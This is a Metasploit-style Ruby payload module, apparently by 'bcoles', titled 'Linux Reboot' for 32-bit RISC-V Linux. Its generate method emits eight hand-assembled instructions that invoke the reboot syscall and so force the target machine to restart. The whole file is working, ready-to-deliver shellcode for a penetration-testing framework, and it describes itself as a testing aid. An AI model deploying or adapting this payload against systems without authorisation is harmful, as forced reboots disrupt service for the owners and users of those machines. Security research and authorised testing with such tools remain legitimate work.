bcoles
47 lines
1.3 KiB
Ruby
47 lines
1.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 32
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include Msf::Payload::Single
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def initialize(info = {})
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super(
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merge_info(
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info,
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'Name' => 'Linux Reboot',
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'Description' => %q{
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A very small shellcode for rebooting the system using
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the reboot syscall. This payload is sometimes helpful
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for testing purposes. Requires CAP_SYS_BOOT privileges.
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},
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'Author' => 'bcoles',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_RISCV32LE,
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'References' => [
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['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
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['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/reboot/reboot.s'],
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]
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)
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)
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end
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def generate(_opts = {})
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shellcode =
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[0xfee1e537].pack('V*') + # lui a0,0xfee1e
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[0xead50513].pack('V*') + # addi a0,a0,-339
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[0x281225b7].pack('V*') + # lui a1,0x2812
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[0x96958593].pack('V*') + # addi a1,a1,-1687
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[0x01234637].pack('V*') + # lui a2,0x1234
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[0x56760613].pack('V*') + # addi a2,a2,1383
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[0x08e00893].pack('V*') + # li a7,142
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[0x00000073].pack('V*') # ecall
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super.to_s + shellcode
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end
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end
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